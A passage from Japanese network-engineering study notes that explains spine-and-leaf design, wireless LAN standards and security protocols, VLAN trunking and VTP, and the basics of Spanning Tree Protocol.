1.10.4. スパイン&リーフ(Spine and Reaf)

スパイン&リーフはスパイン層とリーフ層の2階層で構成するモデルで、主にデータセンターで採用されている構成

すべてのサーバ間通信が2ホップ以内で完結するため、サーバ間通信において低遅延を実現でき遅延の予測も容易になるというメリットがある。

スパイン&リーフ

特徴は以下の通りです。

  • リーフ層のスイッチとスパイン層のスイッチは全て接続する
  • リーフ同士、スパイン同士の接続はしない
  • エンドポイントはリーフ層に接続する
  • 同じホップ数で全ての宛先に到達可能
  • 帯域幅を増強したい場合はスパイン層にスイッチを追加する
  • エンドポイント用のポートを増やしたい場合はリーフ層にスイッチを追加する
  • リーフ層の機器もレイヤ3プロトコルに対応している(OSPFやBGPの負荷分散などが使用可能)
  • 3階層の構成と比べて障害の影響、機器やケーブルの数を少なくできる

1.10.5. SOHO(Small Office/Home Office)

SOHOは小規模オフィスや一軒家などの小規模に適したネットワーク構成を指す。

SOHO

SOHOで使用されるネットワーク機器には以下のようなものがある.

  • サービス統合型ルータ(スイッチやファイアウォールなどの機能も併せ持つルータ)
  • 自律型アクセスポイント(WLC無しでWLANを構築できるアクセスポイント)

またSOHOの場合はインターネットに接続するための回線は、帯域幅が大きく費用も抑えられるためブロードバンドと呼ばれる回線が適している

6.1.2 - 2.ワイヤレスLAN(無線LAN)

WIFIのネットワークの基礎知識

2.1. ワイヤレスLANの説明

ワイヤレスLANは有線ではなく電波を利用した通信技術のことを指す。

また通信方式は半二重通信となるため有線と異なり必ずコリジョンが発生するためCSMA/CA方式で制御を行う。

ワイヤレスLANにおいて電波が届く範囲はセル(ガバレッジ)と呼ばれ、無線クライアントとアクセスポイント間でデータを送受信するにはこの範囲にいる必要がある。 なお電波の信号は距離に応じて弱くなるため、電波の中心から外へ行くほど通信速度が遅くなる。 IEEE802.11はセル半径が150m以下であり、一般的に使用されるAPのセル範囲の半径はAPを起点に30m程度となっている。

セル範囲

2.2. 2.4GHz帯と5.0GHz帯

2.2.1. 2.4GHz帯

2.4GHz帯はワイヤレスLAN以外にも電子レンジ、BlueTooth等にも利用されている周波数帯であり、障害物に強いという特性がある。一方で他電波と干渉しやすいという欠点もある。

2.2.2. 5.0GHz帯

ワイヤレスLAN以外にほとんど利用されていない周波数帯であり、電波の干渉が発生しにくく安定した通信が可能。 一方直進性が強く障害物に回り込みにくいので障害物の影響を受けやすい特徴がある。

2.3. ワイヤレスLANの規格と種類

ワイヤレスLANはIEEE802.11として標準化され、様々な規格が定められている。

規格周波数帯最大伝送速度呼称公開年
IEEE802.11a5GHz54Mbps-1999
IEEE802.11b2.4GHz11Mbps/22Mbps-1999
IEEE802.11g2.4GHz54Mbps-2003
IEEE802.11n2.4GHz/5GHz65~800MbpsWi-Fi42009
IEEE802.11ac5GHz292.5M~6.9GbpsWi-Fi52013
IEEE802.11ax2.4GHz/5GHz9.6GbpsWi-Fi62019
IEEE802.11ax2.4GHz/5GHz/6GHz9.6GbpsWi-Fi6E2022
IEEE802.11be2.4GHz/5GHz/6GHz46GbpsWi-Fi72024(予定)

2.3.1. IEEE802.11.b/g

IEEE802.11bとIEEE802.gは両方とも2.4GHz帯の周波数帯を利用する。 チャネル(利用できる周波数帯を分割したもの)とチャンネル幅等の関係は以下。

規格周波数帯最大伝送速度チャネル幅チャネル範囲同時使用可能な最大チャネル数
IEEE802.11b2.4GHz11Mbps22MHz1ch~13ch/5+14ch1,6,11,14ch(計4)
IEEE802.11g2.4GHz54Mbps20MHz1ch~13ch1,6,11(計3)

2.3.2. IEEE802.11a

IEEE802.11aは5GHzの周波数帯を利用し最大伝送速度は54Mbpsで、使用可能なチャネル数は20あり、チャネルの周波数は重複しないため電波の干渉を受けずにすべてのチャネルを使用可能。

2.3.3. IEEE802.11nとIEEE802.11ac

IEEE802.11nは2.4GHz/5GHz帯両方を通信に使用可能で最大伝送速度が600Mbpsとなる。

IEEE802.11acは5GHz帯のみの周波数帯の利用可能で最大6.9Gbpsの高速通信が可能。 これらにはMIMOチャンネルボンディングの技術が関わっている。

2.3.3.1. MIMO

MIMOは送信/受信アンテナを複数使用し、ストリームと呼ばれるデータ通信路を複数確立し通信を分散同時送信をできるようにする技術。 IEEE802.11nでは送受信用に最大4ストリーム。理論上はMAX4倍まで高速化が可能。 IEEE802.11acでは最大8ストリームまで利用ができる。

2.3.3.2. チャンネルボンディング

チャンネルボンディングは隣り合うチャネルを束ねて使用する周波数幅を広げて高速通信を可能にする技術

2.4. IEEE802.11ヘッダ

ワイヤレスLANで使われるIEEE 802.11ヘッダは以下のフィールドで構成される。

ワイヤレスLAN

フレーム制御のフィールドにはフレームの種類を示す情報などが入る。 フレームの種類は以下の通り。

  • 管理フレーム(認証、関連付け要求、関連付け応答、再関連付け要求など)
  • 制御フレーム(送信要求、応答確認など)
  • データフレーム

また管理フレームの保護を目的としたIEEE規格にIEEE802.11wというものがある。 IEEE802.11wのプロトコルはPMF(Protected Management Frames)という機能を有効にした管理フレームに対して適用され、管理フレームを使用した攻撃を防ぐ。

2.5. ワイヤレスLANの通信方式

ワイヤレスLANの通信方式にはアドホックモード(IBSS)、インフラストラクチャモードがある。

アドホックVSインフラ

2.5.1. アクセスポイント

アクセスポイント(AP)はワイヤレスLAN環境で利用される機器で、ワイヤレスLAN同士の通信、有線LANとの接続などを行う。

アクセスポイントはアクセスポイントの識別名であるSSIDの確認/認証、接続要求と応答等を行う。 また通信の盗聴を防ぐために暗号化/復号化も行う。

またアクセスポイントのモードは以下の通り。

モード説明
LocalLAPデフォルトのモード
FlexConnectWAN経由でWLCと接続するときに使用するモード
Monitor不正APの検出、IDS・RFID専用モードなどとして動作
Rogue Detector有線ネットワーク上に不正なAPやクライアントがいないか監視するモード
Sniffer特定チャネルのすべてのトラフィックを収集し指定デバイスに送信するモード
BridgeAPがブリッジとして動作するモード
SE-Connectスペクトルアナライザ専用モード

2.5.2. BSS/BSSID

BSSは単一アクセスポイントとそのアクセスポイントの電波が届く範囲に存在するワイヤレスクライアントで構成される範囲を表し、BSSIDはBSSを識別するIDで48bitで構成される。

BSSIDは通常、アクセスポイントのMACアドレスと同値になる。

2.5.3. ESS/ESSID

ESSは複数のBSSで構成された範囲を表し、ESSIDはESSを識別するIDで最大32文字まで設定可能。

通常はESSIDとSSIDは同じ意味で用いられる。

2.5.3. ローミング

ローミングはワイヤレスLANクライアントの電波状況に応じて接続するアクセスポイントを切り替える機能。

IEEE 802.11rでは、認証の際にFT(Fast Transition)と呼ばれる高速認証プロトコルを利用することで、高速ローミングが可能となっている。

なおローミングを可能にするには、対象のAPで同じSSID、パスワード、セキュリティポリシーを設定する必要がある。

2.5.3.1. サブネット間ローミング

サブネット間ローミングは異なるサブネットに属しているAPへローミングすることを指す。

2.6. ワイヤレスLANクライアントとアクセスポイントの接続

ワイヤレスLANクライアント-アクセスポイント間通信では、管理フレーム制御フレームデータフレームを使用する。

接続時には管理フレームが用いられる。

ワイヤレス

  1. アクセスポイントは定期的にビーコンという信号を送信する、ワイヤレスLANクライアントはそこから接続可能なアクセスポイントの情報を取得できESSIDの情報を確認する
  2. ワイヤレスLANクライアントからアクセスポイントを検索する場合、接続したいアクセスポイントのESSIDの情報を**プローブ要求*で送信し、プローブ応答をアクセスポイントから得る
  3. 1or2の後、アクセスポイントとワイヤレスLANクライアントで設定した認証方式で認証を行い、クライアントは認証要求を送信し、アクセスポイントは認証が成功すれば認証応答を返す
  4. 認証後、クライアントからアソシエーション要求という接続要求を行い、アクセスポイントは接続許可をアソシエーション応答で返答する。このやりとりをもって接続が確立する
  5. 接続後、データの暗号化処理が行われ送受信する

2.7. ワイヤレスLANアーキテクチャ

アクセスポイントは自律型アクセスポイント集中管理型アクセスポイントの2種類に大きく分けられる。

2.7.1. 自律型アクセスポイント

自律型アクセスポイントはアクセスポイントでIOSが動作し、それを設定することでワイヤレスLANを構築できる。 特徴としてはそれぞれのアクセスポイントに個別で設定管理を行う必要がある。

自律型アクセスポイントは小規模ネットワークの構成に適している。 中・大規模ネットワークでは設定管理が複雑になるため不向き。

また自律型アクセスポイントの認証にはRADIUS認証, TACACS+認証, ローカルデータベース認証が設定可能。

2.7.2. 集中管理型アクセスポイント

集中管理型アクセスポイントはアクセスポイント自体に設定を行わず、ワイヤレスLANコントローラ(WLC)を介し一括で管理設定を行う。

中・大規模ネットワークでは設定管理の手間を大幅に削減できる。 集中管理型のワイヤレスLAN構成では、すべてのトラフィックはワイヤレスLANコントローラとアクセスポイントを経由する。 上記両機器の通信にはCAPWAPというプロトコルが使用される。

WLC

集中管理型アクセスポイントを管理するWLCは様々なポートを持つ。 WLCの物理インターフェイスは以下。

ポート説明
コンソールポート・コンソールケーブルによりPC接続, ・WLC設定、障害対応を行うために使われる
ディストリビューションシステムポート・LANケーブルによりスイッチと接続(トランクポート), ・通常トラフィック,管理トラフィックの送受信に使用、・LAGに対応
サービスポート・LANケーブルによるスイッチ接続(アキセスポートモード), ・ネットワーク障害時のシステム復旧/メンテナンスで使用、・アウトオブバンド管理
冗長ポート・LANケーブルによりWLCと接続, ・大規模ネットワークでWLC冗長化にために使用

また論理ポートは以下の通り。

インターフェイス説明
Service Portアウトバンド管理用のサービスポートと関連付けられるインターフェイス
ManagementWLC管理用インターフェイス
Virtual代理DHCPサーバ、Web認証などの宛先となる仮想インターフェイス
DynamicSSIDとVLANマッピングを行うインターフェイス

2.7.2.1. CAPWAP

CAPWAPはワイヤレスLANコントローラと集中管理型アクセスポイント間のやり取りで使われるプロトコル。 CAPWAPを使用し両機器の間でCAPWAPトンネルを生成してデータをカプセル化して転送を行う。

CAPWAP ※LWAPPはCAPWAPの元となったプロトコル

CAPWAPではCAPWAP制御メッセージとCAPWAPデータの2種類がやりとりされる。

種類説明
CAPWAP制御メッセージアクセスポイントの構成/操作/管理に使用される
CAPWAPデータデータ転送に利用される

2.7.3. スプリットMACアーキテクチャ

スプリットMACアーキテクチャは自律型アクセスポイントと集中管理型アクセスポイントを使用したワイヤレスLAN構成でアクセス制御の役割をAPとWLANコントローラで分割(スプリット)する方式のこと。

通信の暗号化などのリアルタイム性が高い処理はAPが行い、認証などのリアルタイム性が低い処理はWLANコントローラが行う。 スプリットMACアーキテクチャにおける主なAPの処理とWLANコントローラの処理を以下に記す。

機器機能
アクセスポイント電波の送受信 データの暗号化/復号 ビーコン/プローブ応答 他のAP存在の監視
ワイヤレスLANコントローラセキュリティポリシ設定 認証 ローミング管理 RF管理 モビリティ管理

スプリットMACアーキテクチャのAP処理とWLCの処理系の違いは以下のとおり。

スプリット

2.7.4. DCA

DCA(動的チャネル割り当て)はWLCの機能のひとつでオーバーラップ(周波数が重なること)しないようにチャネルの割り当てを行う機能のことを指す。

DCAでは電波強度・干渉・ノイズ・負荷・利用率を解析することで、複数あるチャネルの中から最適なものを選択し、APに割り当てる。

2.8. ワイヤレスLANのセキュリティ

2.8.1. ワイヤレスLANセキュリティ

ワイヤレスLANは有線LANと異なりデータは特定のケーブルを流れるわけではなく電波で流れるため、有線よりもと盗聴のリスクが高い。

そのためワイヤレスデータの暗号化クライアント端末の認証に焦点を当ててセキュリティ実装する必要がある。

ワイヤレスデータの暗号化

ワイヤレスデータはアクセスポイントとクライアント間を電波でやり取りされる。 そのため周囲の不特定多数の相手にデータが容易にわたる可能性が高い。

そのためデータの暗号化が必要である。 データの暗号化はアクセスポイントとクライアント間で共通する暗号化方式を使用してデータをアクセスポイントのみが読み取れるようにする。

ワイヤレスLANで使用される暗号化アルゴリズムはRC4AESなどがある。

クライアント端末の認証

ワイヤレスLANでは電波による通信の特性上、接続を望まれない端末からの接続できてしまう可能性が存在する。 悪意のある端末が正規接続のクライアントになりすまし接続の拒否をする必要がある。 そのためアクセスポイントは通信相手が正規接続のクライアントか判断するために認証を行う。

ワイヤレスLANではパスフレーズによる事前共有鍵認証、またはRADIUSサービスを利用したIEEE802.1X認証を行う。

事前共有鍵認証

事前共有鍵認証(PSK認証)はアクセスポイントとクライアント端末で同じパスワードを事前に設定し、そのパスワードから暗号鍵が生成され、これを利用し認証を行う。

この方式は小規模無線LAN、公共ワイヤレスネットワークで広く普及している方式であり身近である一方、PSK認証をしているデバイスの紛失や、パスワードの流出の可能性があるためセキュリティ強度は高いとは言えない。

IEEE802.1X認証

IEEE802.1X認証ではユーザの認証を実装できる。 有線LANではスイッチが認証装置となるが、ワイヤレスLANではアクセスポイントがそれとなる。

IEEE802.1X認証ではユーザの認証情報はEAP(Extensible Autholication Protocol)というデータリンク層のプロトコルがデータの送受信に使用される。

IEEE802.1X認証

EAP

EAPはIEEE802.1X認証で使用されるプロトコルで様々な認証方式に対応している。

認証方式説明
LEAPクライアント-サーバ間でユーザID,パスワードによる認証を行うCISCO機器特有の認証方式。脆弱性が発見されたため現在は非推奨
EAP-FASTクライアント-サーバ間でユーザID-パスワード認証を行う際にPACという独自のフォーマットで認証を行う方式。電子証明書が不要
PEAPクライアント-サーバ間でユーザID-パスワード認証を行いサーバは電子証明書で認証を行う。Windowsには標準搭載
EAP-TLSクライアント-サーバ間両方で電子証明書で認証を行う。セキュリティは高いが証明書維持管理に手間がかかる、Windowsには標準搭載

PKI

PKI(公開鍵基盤)は公開鍵暗号方式による通信を安全に行うための基盤。PKIは「なりすまし」による公開鍵の配布を防ぐ。

公開鍵は認証局(CA)のデジタル署名を添付した電子証明書(公開鍵証明書)の形で配布される。受信側は鍵が本物かどうかを署名と証明書の検証によって確かめることができ、電子証明書は公開鍵と、その所有者の情報、有効期限の情報などを含む。

2.8.2. ワイヤレスLANセキュリティ規格

ワイヤレスLANのセキュリティ規格には現在4つある。

  • WEP
  • WPA
  • WPA2
  • WPA3
規格WEPWPAWPA2WPA3
策定年1999年2002年2004年2018年
暗号化方式WEPTKIP or CCMP(任意)CCMP or TKIP(任意)GCMP or CCMP
暗号化アルゴリズムRC4RC4AESAES
認証方式OSA, SKAPSK, IEEE 802.1X/EAPPSK, IEEE 802.1X/EAPSAE, IEEE 802.1X/EAP
改竄検知(MIC)CRC-32MichaelCBC-MACCBC-mAC/GMAC
セキュリティレベル×
IVサイズ24bit48bit48bit48bit
暗号化キー長さ40/104bit128bit128bit192/256bit

2.8.3. WEP

WEPは40bitまたは104bitの固定長WEPキーなる共通鍵を用いて認証/暗号化を行う方式。 WEPキーはワイヤレスLANクライアントとアクセスポイント両方に登録し認証を行う。

WEPキーから生成された暗号鍵を利用しRC4という暗号化アルゴリズムで暗号化を行う。 しかしながら上記暗号化方法は時間をかければ解読可能であるという脆弱性が見つかったため2022年現在ほとんど利用されていない。

2.8.4. WPA

WPAは暗号化化方法にTKIP(Temporal Key Integrity Protocol)を使用し堅牢なセキュリティとなっている。

WPAの特徴としては暗号化アルゴリズム自体はWEPと同じくRC4を採用しているが、TKIPを利用して一定時間ごとに暗号鍵を変更する処理をすることで暗号の解読を困難にしている。 つまりRC4とTKIP方式の暗号化を組み合わせた認証システムである。なお認証には事前共有鍵(PSK)で行う。

TKIPはデータ部分にMICというフィールドを付加することでデータの改ざんを検知できる。

2.8.5. WPA2

現在のワイヤレスLANにおいて最も普及しているセキュリティ規格である。 機能はWPAとWPA2はほとんど同じですが、暗号化方法にCCMP(Counter Mode-CBC MAC Protocol)を用いてAES(Advanced Encryprion Standard)と呼ばれる暗号化アルゴリズムを使うことで強度の高いセキュリティを実装している。

CCMPではCMC-MACによりメッセージの改ざんを検知する。

WPA2を用いた事前共有鍵認証(PSK, SAE)はWPA2パーソナル、IEEE802.1X認証/EAP認証はWPAエンタープライズと呼ばれる。

WPA2エンタープライズ

WPA2エンタープライズは企業向けのWPA2の規格で、事前共有鍵(PSK)認証に加えてIEEE802.1X認証/EAP認証やディジタル証明書/OTPなどの認証方式を組みあせた認証を用いるモードのこと。

2.8.6. WPA3

WPA2の脆弱性を悪用したKRACK攻撃が2017年に発見された。その対策の新しい規格として発表されたのがWPA3である。

WPA3ではKRACK攻撃への対策を施したSAE(Simultaneous Authentication of Equals)と呼ばれる新しいハンドシェイクの手順を実装した。 これによって従来手法の4ウェイハンドシェイクの前にSAEハンドシェイクを行わせることでKRACKを無効化する。

またWPA3では辞書攻撃への対策としてパスワード認証を一定回数失敗した場合ブロックできる機能が追加されている。

特徴としては以下の通り。

  • 認証方式にSAE
  • 前方秘匿性
  • PMFの必須化(管理フレーム保護)
  • ログイン攻撃防止機能

WPA3が使用する暗号化アルゴリズムAESでは、暗号化に必要となる暗号鍵として128bit、192bit、256bitのいずれかの鍵長を用いることができる。 またWPA3にはWPA3パーソナルWPA3エンタープライズWPA3エンタープライズ192bitモードの3つのモードがある。

WPA3パーソナル、WPA3エンタープライズでは、128bitのAES暗号鍵を使用するAES-128(CCMP)の実装が最小要件とされてる。 WPA3エンタープライズ192bitモードは、通常のWPA3パーソナルやエンタープライズよりもセキュリティが強化されており、AES-256(GCMP)などの複数のセキュリティ要件の実装が必須となっている。

WPA3エンタープライズ

WPA3エンタープライズは企業向けのWPA3の規格で、事前共有鍵(PSK)認証に加えてIEEE802.1X認証を行うモード。 暗号化強度を192bitに引き上げることで、セキュリティを強化できる。

またWPA3エンタープライズでは新しい暗号化アルゴリズムにCNSAが提供されている。

Enhanced Open

Enhanced Openは主に飲食店やホテルなどの公衆Wi-Fiで使用されるセキュリティ規格であり、分類上はWPA3の拡張機能である。

Enhanced OpenはOWE(Opportunistic Wireless Encryption)という技術を用いて通信の暗号化を行う。 クライアントごとに通信を暗号化してデータを保護するため、公衆Wi-Fiで懸念される通信の覗き見や攻撃を防止することができる

Enhanced Open

6.1.3 - 3.スイッチング

L2/L3スイッチやスイッチングハブの動作のキホン

3.1. スイッチング

3.2. VLAN

VLAN(仮想LAN)はスイッチ内部でネットワークを仮想的に分割する技術を指す。

VLAN

VLANを使用すると1台の物理的なスイッチで仮想的に複数のネットワークを作成できる。つまるところ1台の物理的スイッチにそれぞれ分割したネットワークの数だけ仮想的なスイッチが構成されるイメージとなる。

VLANのメリットは以下の通り。

  • 端末の物理的配置に依存しないネットワークの構成が可能
  • ブロードキャストドメインの分割が可能
  • セキュリティ対策となる

3.2.1. VLANのポート

VLANのポートはどのVLANに属するかによってアクセスポートトランクポートに分かれる。

3.2.1.1. アクセスポート

アクセスポートは1つのVLANに属しているポートを指す。 またアクセスポートは通常PCやサーバといった機器が接続されるポートとなる。(デフォルトはVLAN1)

またアクセスポートに接続されたリンクはアクセスリンクと呼ばれる。

スイッチのポートにVLANを割り当てるには2つの方法があり、1つが手動で割り当てるポートベースVLAN(スタティックVLAN)、もう1つが自動で割り当てるダイナミックVLANという。

3.2.1.2. トランクポート

トランクポートは複数のVLANに属しているポートとなる。

トランクポート

トランクポートにつながっていて複数のVLANが通過するリンクはトランクリンクと呼ばれる。 またトランクポートに接続されるポートは通常、複数のVLANの通信が通過するスイッチ間ポートやルータと接続されているポートとなる。

3.2.2. トランキングプロトコル

トランクポートでは複数のVLANの通信が通過するため、通信を識別する必要はある。そのためトランクリンクではフレームにVLANを識別するための情報としてタグが付加される。方法にはCISCO社独自手法のISLIEEE802.1Qの2つのプロトコルがある。

3.2.2.1. ISL

ISLはCISCO社独自定義のプロトコル。 イーサネットフレームの前にISLヘッダを付加し、新しくFCSを再計算し末尾に負荷する構成となる。

ISL

ISLでは通常のイーサネットフレームの最大長の1518ByteにISLヘッダとISL FCSを合わせた30Byteを足して1548Byteの大きさとなる。

ISLでは通信対象の機器もCISCO製品である必要がある。

3.2.2.2. IEEE802.1Q

IEEE802.1Qはイーサネットフレームの送信元MACアドレスとタイプ間にVLANタグを挿入するタギングプロトコル、と呼ばれる。 IEEE802.1Qでは通常のイーサネットフレームの最大長に4Byteを足した1522Byteとなる。

IEEE802.1Q

IEEE802.1QにはNativeVLAN(ネイティブLAN)と呼ばれる機能がある。 これはトランクポートに1つずつ選択でき、ネイティブVLANには指定したVLANからの通信にはタグをつけずに送信し、受信した際にネイティブVLANからの通信と判断する構造となっている。 つまり両スイッチそれぞれでトランクリンクのNativeVLANを合わせておく必要がある。

またIEEE802.1Qのようにフレームにタグフィールドを付加することによって、対向の機器がフレームのVLAN番号を識別できるようにする技術はVLANタギングと呼ばれる。

3.2.3. ベビージャイアントフレームとポートのネゴシエーション

3.2.3.1. ベビージャイアントフレーム

ISLでは最大サイズが1548Byte、IEEE802.1Qでは最大サイズが1522Byteとなるが、このように通常のイーサネットフレームの最大長より少し大きなフレームサイズはヘビージャイアントフレームと呼ばれる。

1600Byteまでのフレームサイズがこう呼ばれ、それ以上大きいものはジャンボフレームと呼ばれる。

3.2.3.2. ポートのネゴシエーション

VLANのポートを自動でアクセスポートかトランクポートを決定するネゴシエーションを行うプロトコルにはCISCO独自定義のDTP(Dynamic Trunking Protocol)がある。

DTP有効下ではデフォルトで30秒ごとにマルチキャストアドレス宛てにDTPフレームを送信し、カプセル化/トランクポートにするかどうかネゴシエーションをします。

ポートの動作モードは以下の通り。

モード動作
trunkトランクポートとして動作
accessアクセスポートとして動作。DTPフレームは自身から送信しない
dynamic desirableDTPフレームを送信しネゴシエーションを行う。対向機器が了承した場合自身もトランクポートとして動作
dynamic auto自身からDTPフレームを送信しない。対向機器からネゴシエーションが行われたときにトランクポートとして動作

DTPによるネゴシエーションはVLANの情報を同期させるためのプロトコルのVTPのVTPドメイン名が一致しているときに利用可能

3.2.4. 音声VLAN

VLANはIPテレフォニー(音声データをデジタル変換してIPパケットに格納しIPネットワークで音声通信を可能にする技術)でも使用されている。

IP電話の通信フレームと通常IPデータ通信のフレームを識別するためにVLANが使用される。 データ用のVLANと音声データ用のVLANを用意し通信を分ける機能は音声VLANと呼ばれる。 なおタグ中にはVLAN番号を以外を示す部分にCoSというフレーム優先度を表す値が格納できるようになっている。

パケットに優先順位をつけて通信品質と速度を保証する技術はQoSと呼ばれ、そのためにVLANは使用される技術である。

音声VLAN

トラフィック使用するVLAN
データトラフィックNative VLANを使用して伝送
ボイストラフィックVoice VLANを使用して伝送

3.2.5. VTP

VTP(VLAN Trunking Protocol)はCISCO社独自定義のプロトコルでVLANが複数のスイッチにまたがった環境でVLANの管理を簡素化できるというもの。

VTPのバージョンは1,2,3あり、VTPの使用にはバージョンを合わせる必要がある。

3.2.5.1. VLAN情報の同期

VTPを使用すると、あるL2スイッチでVLANの作成/設定を行うとVLANの情報がトランクリンクを通じマルチキャストで他のL2スイッチに伝搬する。その際にVLANの情報はL2スイッチのデータベースに保存される。

しかしスイッチのデータベースに保存されるのは標準範囲(VLAN 1~1005)までなため、CISCO社製のスイッチではvlan.datというファイル上でフラッシュメモリ上に保存される。

なお情報の同期はスイッチが自動で行うが、その際の最新更新情報の判断にはリビジョン番号が使用される。 これはデータベースに付けられる番号で、VLANの作成/更新/削除を行うと可算されていく。 これにより同期後の変更回数を確認できるためこれを基準に、もっとも大きいリビジョン番号を持つスイッチがを基準に他スイッチが同期をとる。

3.2.5.2. VTPドメイン

VTPではドメイン単位でスイッチを管理しVLAN間の情報は同じドメインに所属するスイッチ間でしか行わない。 これはVTPドメイン名で判断が可能。 つまり情報の同期を行いたいスイッチでは同じVTPドメインを指定する必要がある。

3.2.5.3. VTPの動作モード

リビジョン番号、VTPドメインのほかにVLAN情報の同期の設定を行うものとしては動作モードがある。

モード説明
サーバモードVLANの作成/更新/削除が可能なデフォルトのモード。自身のVLAN情報を他スイッチにアドバタイズする。また他のスイッチに送る情報はVTPアドバタイズメントと呼ばれる。
クライアントモードVLANの作成/変更/削除を行えない。サーバモードから送られたVLAN情報を同期し他のルータにそれを送る。
トランスペアレントモードVLANの作成/更新/削除が可能だが他のスイッチにVLAN情報をアドバタイズしない。また他ルータから情報を受け取っても同期せず他のスイッチにそれを転送する。このモードでは常にリビジョン番号が0となり、VLAN情報はvlan.dat以外にrunning-configにも保存される。拡張範囲LAN(1006~4095)を利用する場合必ずこのモードを使用する必要がある。

また動作モードの挙動は以下の表のようになる。

モードVLANの作成/更新/削除VLAN情報同期アドバタイズメント
サーバできる同期する送信する/転送する
クライアントできない同期する 送信しない/転送する
トランスペアレントできる同期しない送信しない/転送する

3.2.5.4. VTPプルーニング

VTPプルーニング(VTP Pruning)はブロードキャストの宛先VLANが存在しない(使われていない)スイッチへはフレームを送らないようにする技術のことを指す。

VTPプルーニングを有効にすることで、不要なトラフィックを減らす事が出来る。

3.2.6. VLAN間ルーティング

VLAN間ルーティングは異なるVLAN間での通信を許可する仕組みをいう。 VLAN間ルーティングはL2スイッチのみではできない、そのためルータ/L3スイッチが必要となる。

3.2.6.1. VLAN間ルーティング構成

下記の構成はルータオンスタティックと呼ばれる。

ルータオンスタティック

この構成ではルータ-スイッチ間の物理インターフェイスを仮想的に複数に分ける必要がある。 その方法としてサブインターフェイスを作成する。

3.2.6.2. サブインターフェイスの作成

サブインターフェイスの作成順序は以下の通り。

  1. サブインターフェイスのカプセル化をISLかIEE802.1Qのどれかに指定する
  2. サブインターフェイスとして扱う物理インターフェイスを2つに分割する

なおルータとL2スイッチ間はトランクリンクにする必要がある。

3.2.6.3. VLAN間ルーティングのルータ側の設定

ルータオンスティックによるVLAN間ルーティング用のルータに必要な設定は以下の通り。

  1. VLANごとのサブインターフェースを作成
  2. VLANカプセル化方式の指定とVLAN IDの指定
  3. サブインターフェースにIPアドレスを設定

3.2.6.3. L3スイッチを使用したVLAN間ルーティング

L3スイッチを使用してVLAN間ルーティングを行うには以下3つの設定が必要となる。

  • ルーティングの有効化
  • SVIの作成
  • 物理インターフェースへのVLAN割り当て

またL3スイッチ-L2スイッチ間でVLANルーティングではIPアドレスを設定する必要がある。 L3スイッチにはSVIルーテッドポートの2つのIPアドレスを設定可能なポートがある。

ポート説明
SVIスイッチ内部の仮想インターフェイス
ルーテッドポートVLAN可能なスイッチポートの設定変更を行いL3インターフェイスにしたもの。VLANの割り当ては行えない。

3.2.7. VLANの作成

新しいVLANを導入する際の手順は以下の通り。

  1. VLANを作成する
  2. VLANに名前を設定する
  3. VLANをポートに割り当てる

3.3. STP

STP(スパニングツリープロトコル)はIEEE802.1Dとして規定されたL2スイッチで冗長化構成を組んだ際のブロードキャストストーム(L2通信のループ)を防ぐためのプロトコル。 具体的にはネットワークの耐障害性向上のために冗長化を行った際にブロードキャスト通信がループしてネットワークリソースを圧迫するのを防ぐのに使用される。ARP要求などがそのブロードキャストにあたる。

3.3.1. STPの仕組み

STPでは冗長化構成の場合すべてのポートを使用せず一部のポートの通信を行わない状態にする。 ネットワークをツリー構造として考えることでループが発生しないため、ツリー構造となるようにブロックするポートを決定する。

ツリー構造にするにはツリーの起点となる中心スイッチを決定する必要がある。 中心スイッチはルートスイッチと呼ばれている。 STPではルートブリッジから最も遠いポートをブロックする。

ルートスイッチを決定するためにブリッジIDの値を比較し優劣を決定する。 ブリッジIDはブリッジプライオリティMACアドレスから決定される。 スパニングツリーが有効なスイッチドネットワークでは最小のブリッジIDを持つスイッチがルートブリッジに選出される

なお比較の際はブリッジプライオリティ(デフォルトで32768)のほうが比較に優先される。

ポートの役割

STPではポートの役割はルートポート指定ポート非指定ポートとなる。

選出順序/選出対象特徴選出方法
1.ルートブリッジL2ネットワークに1つ最小ブリッジID
2.ルートポート(RP)ルートブリッジ以外の各スイッチに1つ最小ルートバスコスト(ポート)→最小送信元BD→最小ポートID
3.指定ポート(DP)各セグメントごとに1つ最小ルートバスコスト(スイッチ)→最小送信元BD→最小ポートID
4.非指定ポートL2ループごとに1つRP,DPにならなかったすべてのポート

L2スイッチ間の情報交換

STPではスイッチ間で情報交換するのにBPDUという管理用フレームを用いる。 BPDUは0180.C200.0000というアドレスがマルチキャストアドレスとして使用される。 STPが動作するスイッチはBPDUを送受信して、ルートブリッジや各ポートの役割を決定する。

なおパケット構造でいうとBPDUはL2ヘッダの後ろに格納される。

ルートブリッジ決定の仕組み

L2スイッチは電源投入後にBPDUを2秒間隔で送信する。 決定プロセスは以下図より。

ルートブリッジ選出

ルートポートは以下基準で算出される。

  1. 累計のルートパスコストが最小のポート
  2. 送信元ブリッジIDが最小のBPDUを受けったポート
  3. 送信元ポートIDが最小のBPDUを受け取ったポート

ポートIDは**ポートプライオリティ(デフォルト値128)ポート番号(インターフェス番号)**の組み合わせで表される。

またSTPでは以下のポートをルートブリッジが決定すると決定する。

  • ルートポート … ルートブリッジまでの最短パスコストを持つポート
  • 指定ポート … スイッチ間セグメントで最上位のBPDUを送信するポート
  • 非指定ポート … 役割が決まらなかったポート(通称: ブロッキングポート)

指定ポートは以下基準で算出される。

  1. ルートバスコストが最小のBPDUを送信するポート
  2. 送信元ブリッジIDが最小のBPDUを送信するポート
  3. 送信元ポートが最小のBPDUを送信するポート

非指定ポートは役割の決定することがなかったポート。 動作としてはユーザからのフレームは送信せず、MACアドレスの学習は行わないがBPDUは受信する。

STPの動作順序はまとめると以下のようになる。

  1. ルートブリッジの決定
  2. ルートポートの決定
  3. 指定ポートの決定
  4. 非指定ポートの決定

3.3.2. ポートのステータス

ルートポートや指定ポートが決定するとユーザのフレームの転送が可能となる。 各ポートの種類が決定してもすぐに転送は行われず、ポートは状態を遷移しながら転送可能な状態となる。 状態遷移はタイマーを用いて管理され、ポートの状態はステータスで表される。

ステータス意味MACアドレスデータフレーム
Disabledシャットダウン/障害が発生している状態学習しない転送しない
BlockingBPSDの受信を行い、データフレームは転送しない。初期/非指定ポートはこの状態学習しない転送しない
ListeningBPSDを送受信し、各ポートの役割決定を行う状態学習しない転送しない
LearningBPSDを送受信し、MACアドレステーブルの学習をしている状態学習する転送しない
Forwardingデータ転送が可能な状態。ルートポート/指定ポートは最終的にこの状態となる学習する学習する

ポートの状態遷移

ポート状態遷移

上記の図の遷移が行われすべてのポートの役割が決定する状態はコンバージェンスと呼ばれる。

STPタイマーの種類

STPのタイマーには種類がある。なおこのタイマー設定の変更は非推奨となっている。 下記表よりコンバージェンスまで最大50秒ほどかかわる計算となる。

